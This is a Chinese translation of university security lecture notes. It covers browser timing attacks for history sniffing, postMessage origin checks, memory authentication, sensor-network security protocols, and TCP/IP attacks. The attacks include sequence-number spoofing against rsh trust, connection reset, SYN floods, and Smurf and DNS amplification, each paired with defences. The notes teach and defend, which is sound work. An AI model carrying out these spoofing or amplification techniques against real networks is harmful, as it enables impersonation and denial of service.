- 示例 #2:基于缓存的攻击
- 攻击者的设置和目标与以前相同。
- 利用向量: 浏览器访问缓存的数据比通过网络获取数据要快得多。因此,攻击页面可以生成候选图像列表,尝试加载它们,并查看哪些加载速度快!
- 如果候选图像来自地理特定图像,例如 Google 地图瓦片,此攻击可以揭示您的位置。[http://w2spconf.com/2014/papers/geo_inference.pdf]
- 修复: 没有好的方法。一个页面永远不会缓存对象,但这会影响性能。但是,假设一个站点不缓存任何内容。那么它是否免受历史嗅探的影响?不是!
- 示例 #3:基于 DNS 的攻击
- 攻击者的设置和目标与以前相同。
- 利用向量: 攻击页面生成对各个域中对象的引用。如果用户已经访问过该域中的对象,主机名将已经存在于 DNS 缓存中,使得后续对象访问更快![http://sip.cs.princeton.edu/pub/webtiming.pdf]
- 修复: 没有好的方法。可以使用原始 IP 地址作为链接,但这会破坏很多东西(例如,基于 DNS 的负载平衡)。但是,假设一个站点不缓存任何内容并使用原始 IP 地址作为主机名,那么它是否免受历史嗅探的影响?不是!
- 示例 #4:渲染攻击。
- 攻击者的设置和目标与以前相同。
- 利用向量: 攻击者页面在 iframe 中加载一个候选 URL。在浏览器获取内容之前,攻击者页面可以访问…
window.frames[1].location.href
…并读取攻击者设置的值。然而,一旦浏览器获取了内容,访问该引用将由于同源策略而返回“未定义”。因此,攻击者可以轮询该值并查看变为“未定义”需要多长时间。如果需要很长时间,那么页面必定没有被缓存![http://lcamtuf.coredump.cx/cachetime/firefox.html]
- 修复: 停止使用计算机?
一个网页也需要安全地使用 postMessage()。
- 来自不同来源的两个框架可以使用 postMessage()异步交换不可变字符串。
- 发送方获取一个窗口对象的引用,并执行以下操作:window.postMessage(msg, origin);
- 接收方为特殊的“消息”事件定义事件处理程序。事件处理程序接收消息和来源。
- Q: 接收方为什么要检查接收到的消息的来源?
- A: 为了对发送方执行访问控制!如果接收方实现了敏感功能,它不应该响应来自任意来源的请求。
- 常见错误: 接收方使用正则表达式来检查发送方的来源。
- 即使来源匹配 /.foo.com/,也不意味着它来自 foo.com!可能是"xfoo.com",或者"www.foo.com.bar.com"。
- 更多细节:邮差总是两次敲门
- Q: 为什么发送方必须指定接收方的预期来源?
- A: postMessage()应用于窗口,而不是来源。
- 请记住,攻击者可能能够将窗口导航到不同的位置。
- 如果攻击者导航窗口,另一个来源可能会接收消息!
- 如果发送方明确指定目标来源,浏览器在传递消息之前会检查接收方的来源。
- 更多细节:在浏览器中保护框架通信
构建安全 Web 应用程序还有许多其他方面。
- 例如:确保服务器端操作的适当访问控制。
- Django 提供 Python 装饰器来检查访问控制规则。
- 例如:维护日志以进行审计,防止攻击者修改日志。
内存认证(Marten van Dijk 的笔记)
阅读: R. Elbaz, D. Champagne, C. Gebotys, R.B. Lee, N. Potlapally 和 L. Torres, “内存认证的硬件机制:现有技术和引擎综述”, 计算机科学交易, pp. 1-22, 2009.
模型(假设、安全需求、可能的攻击):
什么是内存认证?验证处理器从给定地址读取的数据是否是它最后写入该地址的数据。
为什么需要内存认证?能够破坏内存空间的对手可以影响受信任计算平台执行的计算。假设:提供包括内存在内的防篡改环境成本太高。受信任的计算平台是具有有限片上存储的单芯片安全处理器。它对所有物理攻击具有抵抗力,包括侵入性攻击。每当敏感计算完成时,需要验证计算过程中片外内存操作序列的真实性。请注意,根据应用程序的不同,这可能会经常发生,或者有时发生。这导致不同的认证策略(基于树或非基于树)。
有一个对所有物理攻击具有抵抗力的单芯片处理器是现实的吗?可能只有对成本不太高的所有物理攻击具有抵抗力是可以接受的。这排除了由普通黑客执行的攻击。我们不试图防范由有权访问昂贵实验室的工程师执行的攻击。所需的安全性(及其成本)是业务模型的一部分。
数据完整性指的是检测任何对数据的敌对破坏或篡改的能力。它与内存认证有什么关系?内存认证意味着数据完整性。
内存认证的目标是防范篡改片外内存内容的主动攻击。这些主动攻击是什么?欺骗:现有内存块被替换为任意伪造的内存块。拼接/重定位:将地址 A 处的内存块替换为地址 B 处的内存块。重放:在给定地址处记录的内存块在以后的某个时间点插入到同一地址处。
什么是软件攻击?软件攻击是由受损操作系统或恶意应用程序执行的主动攻击。即使操作系统内核被设计为将敏感应用程序与恶意软件隔离,我们也不能信任操作系统。目前,我们不会考虑软件攻击。
还有哪些安全需求值得关注?访问控制;应用程序不应能够访问彼此的特定数据。数据保密性;加密敏感数据以确保隐私。
为什么这些需求还不够?攻击者可能操纵加密数据。因此,我们还需要内存认证。
加密敏感数据是否真的确保隐私?内存访问模式的相关性如何?这可能泄露有关应用程序性质以及与其共享内存的其他应用程序之间的关系的信息。
解决方案(基于树的解决方案和非基于树的解决方案):
内存认证的一个天真解决方案是什么?在芯片存储器中存储整个内存的摘要。不可接受。
下一个最佳解决方案是什么?存储每个内存块(缓存块)的摘要,参见图 3(a)。减少内存带宽开销,但需要太多(昂贵)的芯片内存。
什么是稍微更好的解决方案?在芯片内存上使用随机数成本更低,参见图 3(b)。如果随机数生成器超出范围,需要重置密钥 k 并更新所有内存(这可以在空闲时间完成)。随机数生成器需要输出唯一的随机数吗?不同地址的随机数需要不同吗?不需要,如果我们将每个 MAC 计算为密钥 k、随机数 N 和地址 A 的函数。因此,我们可以使用较小的随机数,从而减少芯片内存。当特定地址的较小随机数用尽时,该地址在重置密钥 k 之前无法使用。如果我们使用 16 位的较小随机数,可以使用随机随机数吗?不可以,以 1/2¹⁶ 的概率会导致冲突,可能会导致攻击。我们需要确定性随机数:对于每次更新,只需将相应的随机数递增 1。
如何添加数据保密性?将 MAC 替换为加密 E,参见图 3©。
什么技巧可以改进当前的解决方案?具有哈希(Merkle 树)、MAC + 随机数或 E + 随机数的完整性树。参见图 5。它是如何工作的?Merkle 树更新过程是顺序的:在更新下一个分支节点之前,必须完成分支中新哈希节点的计算。PAT 读取和更新过程是可并行化的,它是如何工作的?一个中间节点存储其子节点中存储的随机数的 MAC,这些都是事先已知的。中间节点不存储其子节点中存储的 MAC 的 MAC(这将类似于 Merkle 树)。TEC-Tree 使用加密,不存储随机数。在更新期间如何检索随机数?使用解密。读取和更新的混合是否可并行化?不可以。
我们如何找到父节点的地址?使用树遍历,导致(公式 1)。
如何利用缓存以提高性能?树读取和更新过程在遇到缓存的哈希或根时终止。
什么是盆景 Merkle 树?使用许多使用计数器/随机数的较小树。存储它们的根。使用特殊树保护计数器,并存储其中间节点和叶子。参见图 6。注意声明“每次本地计数器翻转时都需要对整个页面进行加密处理”。不要担心此方法的细节。只需注意与我们在图 3(b)中呈现的解决方案的讨论的相似性。
如果操作系统不可信,我们需要做什么?构建一个完整性树,仅覆盖属于应用程序的页面,并且只能在应用程序本身运行时更新。页表将页面的虚拟地址映射到其物理地址。分支接种攻击会破坏与给定内存块的虚拟地址对应的物理地址,参见图 7。因此,我们需要在虚拟地址空间上构建一棵树。受保护应用程序生成的虚拟地址用于遍历树。存在哪些缺点?不可扩展:需要大量的内存容量(为初始化期间定义的 2⁶⁴ 字节叶节点的物理页框分配,以及为非叶树节点分配内存),以及大量的初始化开销(初始化这样的树需要太长时间)。我们还需要为每个需要保护的应用程序引入一个完整的树,而不是一个单独的树来保护物理内存中的所有软件。我们如何尝试部分克服这些问题?引入一个新的硬件单元,在一个缩小的地址空间上构建一个完整性树,该空间仅包含应用程序执行所需的页面(随着应用程序内存占用的增加而动态增长)。
无树结构的内存认证:Lhash 专为需要在一系列内存操作之后进行完整性检查的应用程序设计(与树方案中的每个内存操作进行检查相反)。它使用多重集哈希函数在运行时维护内存位置的写入和读取日志,称为 WriteHash 和 ReadHash。这些日志存储在芯片上。在初始化时,WriteHash 计算在需要认证的内存区域中属于内存块的内存块上。当执行芯片外写入或从缓存中驱逐脏缓存块时,WriteHash 在运行时更新。WriteHash 随时反映芯片外内存状态。当执行芯片外读取或将块带入缓存时,ReadHash 会更新。要检查一系列操作的完整性,需要读取属于内存区域的所有块,之后 ReadHash 应该等于 WriteHash。
多重集哈希函数的要求:压缩(保证我们可以将哈希存储在有限的内存中)、可比性(一个比较哈希的概率算法,因为多重集不总是哈希到相同的值)、增量性(将多重集的哈希相加得到多重集的并集的哈希)、以及多重集碰撞抗性(计算上不可行找到两个不同的多重集哈希到相似哈希的)。
相关主题:
相关主题:数据认证对称多处理器:需要考虑在缓存到缓存传输中进行总线事务认证,这在缓存一致性协议中是必需的,参见图 8。
相关主题:如何利用不受信任的服务器为大量目录提供可信存储,其中每个目录中的文件可能由几个不同设备访问和更新,这些设备可能在不同时间离线,并且除了通过不受信任的服务器(在不受信任的网络上)之外,它们可能无法相互通信。多用户网络文件系统 SUNDR 提供了对分叉攻击的保护,这是一种攻击形式,其中服务器使用重放攻击使不同用户对系统的当前状态有不同的视图。然而,它并不会立即检测到分叉攻击。相反,它提供分叉一致性,这基本上确保系统服务器要么行为正确,要么其故障或恶意行为将在稍后的某个时刻被检测到,当用户能够相互通信时(例如,每天晚上一次)。如果不受信任的服务器具有可以信任的时间戳设备(例如,通过使用嵌入式可信平台模块),则可以立即检测到分叉和重放攻击。
相关主题:云存储。客户端希望确保其数据的副本存在。检索性证明(POF)是服务器生成的包含证据的短消息,证明客户端数据的正确版本存储在服务器上。这使客户能够有效地检查其数据是否得到充分备份(查看有关 T-mobile 数据丢失的最新消息!)。
相关主题:稀疏内存。通过使用经过身份验证的搜索树,可以生成一个证明,证明对应于加密地址的叶子不存在。这可以防止存储值的存在性被否认(稀疏内存所需),重放攻击和未经授权的访问。
无线传感器网络(Marten van Dijk 的笔记)
**阅读:**A. Perrig, R. Szewczyk, J.D. Tygar, V. Wen, and D.E. Culler, “SPINS: Security Protocols for Sensor Networks”, Wireless Networks 8, 521-534, 2002.
模型(假设、安全需求、可能的威胁):
什么是传感器网络?成千上万的小传感器形成自组织的无线网络。传感器具有有限的处理能力、存储、带宽和能量(这降低了生产成本)。例如,使用 TinyOS,一个小型的事件驱动操作系统,见表 1。如果第三方可以读取或篡改传感器数据,会引发严重的安全和隐私问题。
例子:应急响应信息,能源管理,医疗监测,物流和库存管理,战场管理。
无线传感器网络(WSN)和移动自组织网络(MANET)之间有什么区别?WSN 中的传感器节点数量可以比 MANET 中的节点数量大几个数量级。传感器节点密集部署。传感器节点容易发生故障。WSN 的拓扑结构变化非常频繁。传感器节点主要使用广播通信范式,而大多数 MANET 基于点对点通信。传感器节点在处理能力、存储、带宽和能量方面受限。
传感器节点的组成部分是什么?带有传感器和模数转换器(ADC)的感知单元。带有存储器的处理器。收发器。电源单元。
基站的功能是什么?更多的电池电力,足够的内存,与外部网络通信的手段。
信任假设是什么?个体传感器不可信任。已知所有传感器中被损坏的比例存在上限。通信基础设施不可信任(除了消息以非零概率传递到目的地)。传感器节点信任它们的基站。每个节点信任自己。
什么是协议栈?物理层:简单但稳健的调制、传输和接收技术;负责频率选择、载波频率生成、信号检测、调制。数据链路层:介质访问控制(MAC)协议必须具有节能功能,并能够最小化与邻居广播的冲突,无线多跳自组织网络中的 MAC 协议创建网络基础设施(由于节点移动性和故障导致拓扑结构变化,周期性传输信标允许节点创建路由拓扑),并在传感器节点之间有效共享通信资源(已提出固定分配和随机访问版本),数据链路层还实现错误控制和数据加密 + 安全。网络层:路由传输层提供的数据,与外部网络进行互联,设计原则是功耗效率,数据聚合仅在不妨碍传感器节点协作努力时才有用,基于属性的寻址和位置感知。传输层:在应用需要时帮助维持数据流,特别是当系统计划通过互联网或其他外部网络访问时。应用层:大部分尚未探索。
什么是性能指标?容错性或可靠性:是指在没有传感器节点故障(非敌对性,如缺乏电力、物理损坏、环境干扰)的情况下维持传感器网络功能的能力,它被建模为泊松分布 e^{-lambdat},以捕捉在时间间隔(0,t)内没有故障的概率。可扩展性:支持更大网络的能力,对网络规模增加后仍具有灵活性,能够利用更密集的网络(密度表示每个节点传输半径内的节点数量;它等于 Npi*R²/A,其中 N 是区域 A 中散布的传感器节点数量,R 是无线传输范围)。效率:存储复杂性(存储证书、凭证、密钥所需的内存量),处理复杂性(安全原语和协议所需的处理器周期数量),通信复杂性(为了提供安全而交换的消息数量和大小的开销)。网络连通性:两个相邻传感器能够共享密钥的概率(为了提供预期功能,需要足够的密钥连通性)。网络弹性:抵抗节点被捕获的能力;对于每个 c 和 s,c 受损传感器能够破坏 s 链接的概率是多少(通过重建相应的共享秘钥)?
安全性要求是什么?可用性:确保整个 WSN 提供的服务,任何部分或单个节点在需要时必须可用。安全服务的退化:随着资源可用性的变化,能够改变安全级别。生存能力:在断电、故障或攻击的情况下提供最低级别的服务(需要阻止拒绝服务攻击)。
身份验证:在授予有限资源或透露信息之前,对其他节点、簇首和基站进行身份验证。完整性:确保消息或实体不被篡改(数据完整性通过数据认证实现)。新鲜度:确保每条消息都是新鲜的、最新的(检测重放攻击)。
机密性:提供无线通信通道的隐私(通过监听或隐蔽通道防止信息泄露),需要语义安全,确保窃听者对明文没有任何信息,即使它看到相同明文的多次加密(例如,将明文与随机比特串连接,但这需要发送更多数据并消耗更多能量)。不可否认性:防止恶意节点隐藏其活动(例如,它们无法否认其签署的陈述的有效性)。
解决方案(SNEP、微型 TESLA、密钥分发):
设计安全性的限制是什么?安全性需要限制处理能力的消耗。有限的电源供应限制了密钥的寿命。工作内存无法保存用于 RSA 等非对称加密算法的变量。创建和验证签名的开销很高。需要限制通信。
SNEP:A 和 B 共享一个主密钥,用于派生加密密钥 K_AB 和 K_BA,以及 MAC 密钥 K’AB 和 K’BA。A 和 B 同步计数器值 C_A=C_B。从 A 到 B 的通信:{Data}[K_AB,C_A] = Data XOR E{K_AB}(C_A) 以及 MAC_{K’AB}({Data}[K_AB,C_A]||C_A),参见公式(1)。MAC 计算如图 3 所示,使用 CBC 模式。这提供了语义安全、数据认证、弱新鲜度(如果消息验证正确,接收者知道消息必须在其(接收者)正确接收的上一条消息之后发送),低通信开销(计数器值不会被发送)。
强新鲜度:参见公式(2),如果 B 从 A 请求消息,那么 B 向 A 传输一个随机数,并且 A 将此随机数包含在其发送给 B 的通信的 MAC 中。如果 MAC 验证正确,B 知道 A 在 B 发送请求后生成了响应。
同步计数器值:请参阅第 5.2 节中的简单引导协议,随时可以使用具有强新鲜度的上述协议来请求当前计数器值。为防止拒绝服务攻击,在上述协议中允许每个加密消息传输计数器,或者附加另一个不依赖于计数器的短 MAC 到消息中。
微型 TESLA:经过身份验证的广播需要使用非对称机制,否则任何被篡改的接收器都可以伪造来自发送者的消息。如何在没有非对称加密的情况下完成这项工作?通过延迟揭示对称密钥引入不对称性。思路:基站使用一个对传感器节点未知的密钥 K 的 MAC_K(K 是密钥链的一个密钥,K_i = F(K_{i+1}),其中 F 是单向函数)来承诺给基站(在密钥链中,密钥是自认证的),密钥链通过基站的延迟揭示来揭示。密钥揭示时间延迟大约为几个时间间隔,大于任何合理的往返时间。接收器节点知道密钥揭示时间。每个接收器节点需要拥有密钥链的一个真实密钥作为对整个链的承诺。发送基站和接收器节点松散地进行时间同步。使用共享秘密 MAC 密钥的简单引导协议,请参阅第 5.5 节。
节点无法存储密钥链的密钥:节点可以通过基站广播数据,或者使用基站外包密钥链管理。
密钥设置:基站和节点共享的主密钥。我们如何进行密钥分发?已经有很多研究提供了具有良好弹性、连通性和可扩展性的解决方案。有争议的解决方案:密钥感染;引导不需要安全,而是关于在静态网络中进行安全维护。思路:明文传输对称密钥,并使用保密放大(以及其他机制)。在保密放大中,两个节点 A 和 B 使用第三个相邻节点 C 来建立 A 和 B 之间的通信。这个通信通道由密钥 K_{A,C} 和 K_{C,B} 保护。它用于交换一个随机数 N。A 和 B 通过 H(K_{A,B}||N) 替换他们的密钥 K_{A,B},并验证他们是否可以使用这个新密钥。如果 K_{A,B} 被对手知道,但密钥 K_{A,C} 和 K_{C,B} 不知道,那么对手无法提取新的 K_{A,B}!这个解决方案已被提议用于战场管理应用。
相关主题:RFID 标签,社交网络,TinyDB。
TCP/IP 安全
注意: 这些讲座笔记略有修改,来自 2014 年 6.858 课程网站上发布的内容。
网络安全的威胁模型
- 对手可以拦截/修改网络流量。
- 对手可以发送数据包。
- 对手完全控制自己的机器。
- 对手可以参与协议(通常)。
- 通常不可行将坏人排除在大型系统之外。
窃听数据包。
- 重要的是要记住,但相对来说已经被很好地理解。
- 通过网络发送的任何数据都可以被对手观察。
发送/伪造数据包。
- IP 允许发送方构造任意数据包。
- 特别是,发送方可以填写任何源地址。
- 可以假装数据包来自任何地址。
- 对手可以利用这个做什么?
回顾一下"TCP/IP 协议套件中的安全问题"
论文在这里
- 易受攻击:触发某些实现中的错误。
- 作者对这类问题不太感兴趣。
- 相反,希望看看**“协议级问题”**。
- 什么是协议级问题?
- 设计固有的问题。
- 正确的实现会有这个问题。
- 为什么这么重要?
- 可以修复实现中的错误。
- 要修复协议级错误,可能需要更改协议!
- 可能与现有系统不兼容。
- (正如我们将看到的,有时可能提出兼容的修复方法。)
TCP 序列号攻击
- 标准握手(第 2 页右侧的图):
-
C: 源=C, 目的=S, SYN(SNc)
-
S: 源=S, 目的=C, SYN(SNs), ACK(SNc)
-
C: 源=C, 目的=S, ACK(SNs)
-
C: 源=C, 目的=S, 数据(SNc), ACK(SNs)
- 对手如何知道数据来自客户端?
- 只有客户端应该能够接收第二条消息。
- 因此,只有客户端应该知道序列号。
- 第三条消息将被拒绝,除非具有正确的 SNs 值。
- 假设对手 A 想要模拟从 C 到 S 的连接。(假设 A 知道 C 的 IP 地址–在实践中通常不是大问题。)
-
A: 源=C, 目的=S, SYN(SNc)
-
S: 源=S, 目的=C, SYN(SNs), ACK(SNc)
– 但这将发送到 C,而不是 A
-
A: 源=C, 目的=S, ACK(SNs)
– 但如何猜测 SNs?
-
A: 源=C, 目的=S, 数据(SNc)
- 对手从哪里获取 SNs?
- TCP 规范建议了一种选择它们的特定方式。
- 特别是,以大约恒定的速率增加:每秒约 250,000 个。
- 为什么这么具体?
- 与重用连接(源/目的端口号)的微妙交互。
- 希望避免旧数据包(来自过去的连接)干扰新连接。
- 参考:RFC 1185 附录
- 如果对手知道最近的序列号,就可以猜测下一个序列号。
- 实现实际上会每秒增加 ISN,使其易于猜测。
- S 发送给 C 的真实数据包发生了什么(第二个数据包)?
- C 会假设数据包来自旧连接,发送
RST
作为响应。
- 即使发送了
RST
,对手也可以在RST
到达之前尝试竞争。
- 幸运的是,还有另一个奇怪的错误;稍后会讨论。
- 但是为什么序列号攻击会变成安全问题?
1. 伪造依赖 IP 地址的应用程序的连接
- 例如,伯克利远程访问工具:rlogin、rsh、rcp。
- 如果连接来自“受信任”系统,则允许无密码登录。
- 要求连接来自受信任的源端口(512-1023)。
- 为什么有这个要求?
- 受信任的 rlogin/rsh/rcp 程序发送客户端的用户名。
- 如果用户名与服务器上的帐户相同,则无需密码。
- 例如:“rsh athena.dialup.mit.edu ls”。
- 对 TCP 层提供的内容做出了错误的假设。
- 假设来自 IP 地址的 TCP 连接意味着它确实来自该主机。
- 如果对手可以猜测 SN,则可以模拟来自受信任主机的连接。
- 使用 rsh 发出任何命令。
- 可以更改用户的.rhosts 文件以允许从攻击者主机登录。
- 然后直接连接,而无需模拟连接。
- 基于主机的身份验证似乎是一个糟糕的计划。
- 特别是依赖于主机上的“受信任”与“不受信任”端口。
- 今天仍在使用:例如,用于传出邮件的 SMTP。
- 实际上,rlogin 身份验证甚至更糟:他们通过主机名进行身份验证。
- 主机名从哪里来?反向 DNS 查找。
- 例如,18.26.4.9:查找 9.4.26.18.in-addr.arpa 的 PTR 记录。
- 该域的所有者可以将 PTR 记录设置为任何主机名!
- (可以稍微改进:检查主机是否解析为相同的地址。)
- 类似的问题出现在日志文件中:记录解析(不受信任)主机名。
2. 拒绝服务攻击:连接重置
- 一旦我们知道 SNc,就可以发送一个 RST 数据包。
- 更糟糕的是:服务器将接受任何在窗口内的 SNc 值的 RST 数据包。
- 具有大窗口(~32K=2¹⁵)时,只需要 2³²/2¹⁵ = 2¹⁷ 次猜测。
连接重置有多糟糕?
- 此类攻击的一个目标是 BGP 路由器之间的 TCP 连接。
- 导致路由器假定链路故障,可能会影响几分钟的流量。
- 解决方案:
- TTL 黑客(255):通过在 TCP 数据包中设置
TTL = 1
,确保 BGP 节点只与直接邻居通信
- MD5 头部身份验证(非常专门用于路由器之间的链接)。
3. 劫持现有连接
- 类似地,还可以向现有连接中注入数据。
- 对手只需要知道当前的 SNc。
如何缓解这个问题?
- 基线:不要依赖 IP 地址进行身份验证。
- 在更高级别使用加密/身份验证。
- 下一讲:Kerberos。
- 但是,我们仍然希望为 TCP 解决当前的情况。
- ISP 可以过滤其客户发送的数据包。
- 今天经常为小客户执行,但不一致。
- 对于具有复杂网络、多重主机等的客户来说并不直接。
如何修补 TCP?
- 不能以完全随机的方式选择 ISN,而不违反 TCP 规范。
- 可能会破坏连接(端口)重用的保证。
- ISN 是 32 位,意味着在约 2¹⁶ = 65,000 个连接后,您可能会发生冲突并重用与旧连接匹配的 ISN。
- 旧连接的数据包可能被解释为新连接的一部分
- 因此,最好 ISNs 递增 以环绕方式递增,以使碰撞变得不太可能。
- 随机增量?
- 应保留增量速率(~250k/秒)。
- 没有大量的随机性(比如,每次增加低 8 位)。
- 旁注:必须小心我们如何生成随机数!
- 常见 PRNG:线性同余生成器:
R_k = A*R_{k-1}+B mod N
。
- 不安全:给定一个伪随机值,可以猜测下一个!
- 有许多更好的密码学安全 PRNG 可用。
- 理想情况下,使用内核内置的 PRNG(/dev/random,/dev/urandom)
- 参考:http://en.wikipedia.org/wiki/Fortuna_(PRNG),或任何流密码,如 http://en.wikipedia.org/wiki/RC4
- 然而,不同的源/目的地对的 SN 值永远不会相互作用!
- 因此,可以为每个源/目的地对选择使用随机偏移量来选择 ISN。
- 不错的技巧:
ISN = ISN_oldstyle + F(srcip, srcport, dstip, dstport, secret)
-
F
是某个伪随机函数;大致上,可以认为是 SHA1。
- 不需要额外的状态来跟踪每个连接的 ISNs。
序列号攻击仍然相关吗?
- 大多数操作系统实现了上述每个连接 ISN 的解决方法。
- 参考:Linux
secure_tcp_sequence_number
in net/core/secure_seq.c
- 但其他协议遭受几乎相同的问题–例如,DNS。
- DNS 在 UDP 上运行,没有序列号,只有端口,目的端口固定(53)。
- 如果对手知道客户端正在进行查询,可以伪造响应。
- 只需要猜测 src 端口,通常是可预测的。
- 问题在 2008 年变得流行,尽管在此之前 djb 已经很好地理解了。
- 参考:http://cr.yp.to/djbdns/forgery.html
- 参考:http://unixwiz.net/techtips/iguide-kaminsky-dns-vuln.html
- 解决方案:仔细利用所有可能的随机性!
- DNS 查询包含 16 位查询 ID,并且可以随机化约 16 位 src 端口。
- 解决方案:部署 DNSSEC(签名的 DNS 记录,包括缺失记录)。
- 一个问题:密钥分发(谁被允许为每个域签名?)
- 另一个问题:名称枚举(以签署“没有这样的名称”响应)。
- 部分通过 NSEC3 缓解:http://tools.ietf.org/html/rfc5155
- 采用缓慢,没有太多升级的动力,非微不足道的成本。
- 成本包括性能和管理(密钥/证书管理)。
SYN 洪水攻击
- 请注意,服务器在接收到 SYN 数据包时必须存储一些状态。
- 它需要存储发送给该客户端的
SN_s
序列号
- 被称为半开放连接:回复了 SYN-ACK,等待 ACK。
- 如果它从许多来源接收到 SYN 消息会怎样?
- 许多实现尝试为所有半开放连接保留状态。
- 但最终会耗尽内存,必须拒绝连接!
- 恼人的问题:我们甚至不知道我们为谁保留状态!
- 对手可能有一个单一主机,并从许多 src IP 生成 SYN。
- 拒绝服务攻击:客户端+服务器资源之间存在巨大的不对称性。
- 客户端伪造一个单个数据包(少于 1 毫秒)。
- 服务器会浪费内存直到连接超时(几分钟)。
防御 SYN 洪水攻击:SYN cookies。
- 思路: 使服务器无状态,直到收到第三个数据包(ACK)。
- 这为什么很棘手?
- 需要确保对手无法从任何源地址捏造一个连接。
- 以前,这是通过存储 ISNs 并期望在 ACK 中收到来实现的。
- 使用一点密码学来实现类似的目标。
- 将服务器端状态编码到序列号中。
- ISNs =
MAC_k(源/目的地址+端口,时间戳)|| 时间戳
- 时间戳是粗粒度的(例如,分钟)。
- 服务器存储秘钥
k
,不与其他人共享。
- 详细参考:http://cr.yp.to/syncookies.html
- 当发送 SYN-ACK 响应时,服务器计算如上述的序列号。
- 服务器可以通过验证 ACK 的序列上的哈希(MAC)来验证状态是否完整。
- 不太理想:需要考虑时间戳内的重放攻击。
- 另一个问题:如果第三个数据包丢失,没有人会重传。
- 只有在服务器先发言的协议中才会有问题。
- 因为服务器不再保留连接状态,所以它不知道有一个悬挂连接,所以在等待客户端的 ACK 太久后,它永远不会重新传输其 SYN 消息给客户端。
- 同样,客户端不会知道其 ACK 数据包丢失了(它从未被 ACK 回来,而且由于客户端正在等待服务器发送第一个消息(假设),客户端也不会发送任何其他数据)。
- 在 DoS 攻击的情况下可能不是一个大问题。
另一个 DoS 攻击向量:带宽放大。
- 向网络的广播地址发送 ICMP 回显请求(ping)数据包。
- 例如,18.26.7.255。
- 以前,你会从网络上的所有机器收到 ICMP 回显回复。
- 如果你伪造一个来自受害者地址的数据包怎么办?受害者会收到所有回复。
- 在一个快速网络上找到一个有 100 台机器的子网:100 倍放大!
- 参考:http://en.wikipedia.org/wiki/Smurf_attack
- 我们能修复这个问题吗?
- 路由器现在阻止“定向广播”(发送到广播地址的数据包)。
- 现代变种:DNS 放大。
- DNS 也是一个请求-响应服务。
- 服务器可能会用一个小查询发送回一个大响应。
- 使用 DNSSEC,响应包含大量签名,所以它们甚至更大!
- 由于 DNS 运行在 UDP 上,源地址完全未经验证。
- 参考:http://blog.cloudflare.com/deep-inside-a-dns-amplification-ddos-attack
- 我们能修复 DNS 攻击吗?
- 实际上相当困难!根域名服务器必须回答任何人的查询。
- 如果我们有机会从头开始重新设计 DNS 会怎样?
- 一个可能的计划:查询必须和响应一样大(需要填充)。
- 一般技术:迫使客户端至少花费同样多的工作。
TCP 拥塞控制。
- 接收方可以通过 ACK 未接收的段来促使发送方加速。
- 或者发送更多的 ACK(例如,每个字节发送一个 ACK 而不是每个数据包)。
路由协议:对参与者过于信任。
- ARP:在单个以太网网络内。
- 要发送 IP 数据包,需要路由器/下一跳的以太网 MAC 地址。
- 地址解析协议(ARP):广播一个请求目标 MAC 地址的请求。
- 任何人都可以监听广播,发送回复;没有认证。
- 对手可以冒充路由器,拦截数据包,甚至在交换网络上。
- 潜在解决方案:让交换机负责 ARP。
- 没有广泛部署:需要仔细管理 MAC/IP 地址。
- DHCP:同样,在一个以太网网络中。
- 客户端通过发送广播请求来请求 IP 地址。
- 服务器响应,没有认证(一些规范存在但并不广泛使用)。
- 如果你刚刚插入一个网络,可能不知道会发生什么。
- 很多字段:IP 地址,路由器地址,DNS 服务器,DNS 域列表,…
- 对手可以冒充网络上的新客户端的 DHCP 服务器。
- 可以选择他们的 DNS 服务器,DNS 域,路由器等。
- 同样,对服务器的 DoS 攻击:请求大量租约,来自许多 MAC 地址。
- 解决方案:让交换机负责 DHCP(将请求转发给真实服务器)。
- 没有广泛部署:需要仔细的交换机配置。
- 在无线网络上更加复杂。
- BGP:全球范围内(类似于论文中描述的 RIP 攻击)。
- 任何 BGP 参与者路由器都可以宣布到一个前缀的路由。
- 如果对手有一个路由器怎么办?可以宣布任何前缀或路由。
- 这个问题还有意义吗?
- 垃圾邮件发送者经常利用这一点:宣布一个未使用的地址,并发送垃圾邮件。
- 绕过 IP 级别的垃圾邮件发送者黑名单:选择几乎任何 IP!
- 如何解决?
- SBGP:对路由公告进行加密签名。
- 必须知道谁被允许宣布每个特定的 IP 前缀。
- 需要有人为每个 IP 前缀分发密钥/证书。
- 引导问题很棘手;也会有一些性能开销。
- 有些进展,但仍未广泛部署。
还有许多其他问题。
- 像重定向这样的 ICMP 消息:没有认证,基本上现在不再使用。
- 暴露太多信息(netstat,SNMP,finger):大部分已修复。identd(“认证服务”):设计不佳,没有真正的认证。
- 电子邮件:真正的问题,但目前没有实际解决方案。
- 认证与授权。
- 例如,PGP 无法解决垃圾邮件问题。
- 协议中的密码:仅支持密码并不是很好。
- 我们将在几周后讨论替代方案。
- FTP 数据传输协议。
- 服务器连接回客户端以向客户端发送文件。
- 客户端告诉服务器要使用的 IP 地址和端口号。
- 可以用来从服务器的 IP 进行端口扫描。
- 可以用来从服务器的 IP 发送任何流量(嵌入文件中)。
- 例如,回到 IP 认证问题:rlogin,垃圾邮件等。
对手如何知道你正在运行什么软件/协议?
- 探测:
- 检查系统是否在一个众所周知的端口上监听。
- 协议/系统通常会发送初始的横幅消息。
- nmap 可以通过测量各种实现特定的细节来猜测操作系统。
- 参考:http://nmap.org/book/man-os-detection.html
- 使用 DNS 查找 IP 地址的主机名;可能会给出一些提示。
- 猜测:假设系统存在漏洞,尝试利用漏洞。
对手如何知道要攻击的系统的 IP 地址?
- 使用 traceroute 查找沿途的路由器,用于 BGP 攻击。
- 也可以扫描整个互联网:只有 2³² 个地址。
- 1 Gbps(100 MB/s)的网络链路,64 字节最小数据包。
- 每秒约 1.5 百万个数据包。
-
2³² = 40 亿
个数据包在约 2500 秒内,或 45 分钟内。
- zmap:这个的实现
为什么 TCP/IP 层的安全性如此不足?
- 从历史上看,设计者并没有太担心安全性。
- 即使 Bellovin 也说:“1989 年的互联网是一个更友好的地方”。
- 最初的互联网有一小部分相对可信赖的用户。
- 设计要求随时间改变。
- 端到端论点在实践中发挥作用。
- 无论如何必须在应用层提供安全性。
- 在传输层上的事情足够“好”,可以让应用程序正常工作。
- 一些修复确实被添加,但仅针对最严重的问题/更容易的解决方案。
如何提高安全性?
- 对 TCP 实现的协议兼容修复。
- 防火墙。
- 部分修复,但被广泛使用。
- 问题:对手可能在防火墙网络内。
- 问题:很难确定数据包是否“恶意”。
- 问题:即使对于存在的字段(源/目的地),也很难进行身份验证。
- TCP/IP 的设计与防火墙过滤技术不太匹配。
- 例如,IP 数据包分段:TCP 端口在一个数据包中,有效载荷在另一个数据包中。
